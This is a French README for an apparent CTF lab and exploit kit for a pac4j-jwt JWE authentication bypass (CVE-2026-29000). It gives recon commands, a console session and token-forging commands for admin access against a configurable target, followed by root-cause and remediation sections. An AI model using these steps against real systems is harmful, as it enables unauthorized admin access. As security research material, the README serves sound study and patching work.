# Kit de laboratoire CTF et d'exploitation pour CVE-2026-29000, une faille de contournement d'authentification JWE pac4j-jwt Comprend une cible Flask vulnérable, une bibliothèque de forge de jetons, une console d'exploitation interactive et un PoC Java.
Laboratoire CTF étudiant la vulnérabilité d'authentification JWE dans la bibliothèque pac4j-jwt CVSS 9.3 (Critique) · CWE-287 · Versions concernées : pac4j-jwt < 4.5.9 / 5.7.9 / 6.3.3
pac4j-jwt dans les versions concernées permet de contourner entièrement le mécanisme d'authentification JWT en créant un PlainJWT (alg=none, sans signature) puis en l'enveloppant dans un JWE (JSON Web Encryption). Après le déchiffrement de la couche JWE, la bibliothèque ne vérifie pas l'algorithme du JWT interne — les claims sont entièrement fiabilisées, y compris les rôles.
Chaîne d'attaque :
X-Powered-By: pac4j/6.0.3 ← fuite de version → identification du framework
↓
OIDC Discovery → JWKS → clé publique RSA ← informations publiques
↓
Forge JWE (PlainJWT alg=none, ROLE_ADMIN)
↓
Contournement d'auth → GET /admin?token=<JWE> ← accès au panneau admin
↓
Lecture de données sensibles : liste des employés, configuration système, flag
CVE-2026-29000/
├── lab/ # Cible – application Flask (NexusBank Employee Portal)
│ ├── app.py # Application principale vulnérable
│ ├── Dockerfile # Flag intégré dans /flag.txt à la construction
│ └── requirements.txt
│
├── token_forge/ # Bibliothèque Python de création de faux jetons JWE
│ ├── forge.py # forge_token()
│ ├── jwe_builder.py
│ ├── keys.py
│ ├── claims.py
│ └── cli.py # CLI : python -m token_forge
│
├── scripts/
│ └── exploit.py # Console d'exploitation interactive (style Metasploit)
│
├── poc/ # PoC Java – confirmation du contournement in-process
│ ├── src/main/java/Poc.java
│ └── pom.xml
│
├── tests/
├── docker-compose.yml
└── requirements.txt
| Outil | Version | Remarques |
|---|---|---|
| Docker Desktop | 24+ | Exécution de la cible du laboratoire |
| Docker Compose | v2+ | Intégré à Docker Desktop |
| Python | 3.11+ | Exécution de exploit.py et token_forge |
| Java + Maven | 11+ | Uniquement nécessaire pour le PoC Java |
git clone https://github.com/kernelzeroday/CVE-2026-29000.git
cd CVE-2026-29000
# Linux / macOS
python -m venv .venv && source .venv/bin/activate
# Windows
python -m venv .venv && .venv\Scripts\activate
pip install -r requirements.txt
docker compose up -d lab
Confirmer que le laboratoire est en cours d'exécution :
curl -sI http://localhost:8080 | grep X-Powered-By
# X-Powered-By: pac4j/6.0.3
Personnalisation du flag :
docker compose build --build-arg FLAG="CTF{custom_flag}" lab docker compose up -d lab
docker compose down
exploit.py est une console interactive de style Metasploit. L'utilisateur effectue lui-même la reconnaissance pour collecter les informations, puis configure et exploite.
python scripts/exploit.py
# Ou pré-configuré depuis la ligne de commande :
python scripts/exploit.py --rhost 192.168.1.31 --rport 8080
Exemple de session complète :
jwe-bypass > set RHOST 192.168.1.31
[+] RHOST => 192.168.1.31
jwe-bypass > check
[*] Checking http://192.168.1.31:8080 ...
[+] HTTP 200
[+] X-Powered-By: pac4j/6.0.3
[+] Target appears VULNERABLE (pac4j detected)
jwe-bypass > set PUBKEY http://192.168.1.31:8080/.well-known/jwks.json
[+] PUBKEY => http://192.168.1.31:8080/.well-known/jwks.json
jwe-bypass > run
[1/3] Loading RSA public key ...
[+] Public key loaded
[2/3] Forging JWE token (CVE-2026-29000) ...
[+] Token forged (606 chars)
[3/3] Verifying auth bypass on /api/profile ...
[+] Authenticated as: pwned roles: ['ROLE_ADMIN']
Auth bypass successful!
Open in your browser:
http://192.168.1.31:8080/admin?token=eyJ...
Ouvrez l'URL ci-dessus dans votre navigateur pour accéder au tableau de bord admin.
PUBKEY prend en charge 3 formats :
# 1. URL JWKS — récupération automatique (recommandé)
set PUBKEY http://192.168.1.31:8080/.well-known/jwks.json
# 2. Fichier déjà téléchargé
set PUBKEY /tmp/key.json
# 3. Coller directement le JSON brut
set PUBKEY {"kty":"RSA","n":"...","e":"AQAB"}
# Détection du framework via l'en-tête de réponse
curl -sI http://TARGET:8080
# Recherche d'endpoints cachés
curl -s http://TARGET:8080/robots.txt
# RFC 8414 : pac4j expose toujours cet endpoint
curl -s http://TARGET:8080/.well-known/openid-configuration
# Récupération de la clé publique RSA depuis jwks_uri
curl -s http://TARGET:8080/.well-known/jwks.json
python -m token_forge \
--jwks-url http://TARGET:8080/.well-known/jwks.json \
--subject attacker \
--roles ROLE_ADMIN
TOKEN=$(python -m token_forge \
--jwks-url http://TARGET:8080/.well-known/jwks.json \
--roles ROLE_ADMIN 2>/dev/null)
# Confirmer le contournement
curl -s -H "Authorization: Bearer $TOKEN" http://TARGET:8080/api/profile
# Ouvrir le tableau de bord admin dans le navigateur
echo "http://TARGET:8080/admin?token=$TOKEN"
from token_forge import forge_token, load_public_key_from_jwks_url
key = load_public_key_from_jwks_url("http://TARGET:8080/.well-known/jwks.json")
token = forge_token(key, subject="attacker", roles=["ROLE_ADMIN"], exp_sec=3600)
print(token)
Confirmation du contournement directement dans la JVM avec Nimbus JOSE + pac4j 6.0.3 :
cd poc
mvn -q compile exec:java -Dexec.mainClass="Poc"
# [BYPASS] Authenticated as: admin#override
# [BYPASS] Roles: [ROLE_ADMIN, ROLE_SUPERUSER]
# Afficher uniquement le jeton
mvn -q compile exec:java -Dexec.mainClass="Poc" -Dexec.args="--token-only"
pytest tests/ -v
# Avec rapport de couverture
pytest tests/ -v --cov=token_forge --cov-report=term-missing
| Emplacement | Problème |
|---|---|
JwtAuthenticator.validateToken() | Après le déchiffrement du JWE, appelle PlainJWT.parse() au lieu de SignedJWT.parse() |
_payload_to_claims() dans lab | base64decode + json.loads directement, sans vérification de signature |
Flux de traitement erroné :
Déchiffrement JWE → récupération du payload → base64decode → json.loads → confiance dans les claims
↑ étape de vérification de signature du JWT interne manquante
| Mesure | Détails |
|---|---|
| Mettre à niveau pac4j-jwt | Vers >= 6.3.3 / 5.7.9 / 4.5.9 |
| Rejeter PlainJWT | Vérifier alg != "none" après le déchiffrement du JWE |
| Supprimer l'en-tête de version | Désactiver X-Powered-By en production |
| Moindre privilège | Ne pas exécuter le conteneur avec les droits root |
Avertissement : Ce dépôt est destiné uniquement à la recherche en sécurité et aux CTF dans un environnement contrôlé. Ne pas l'utiliser sur des systèmes non autorisés.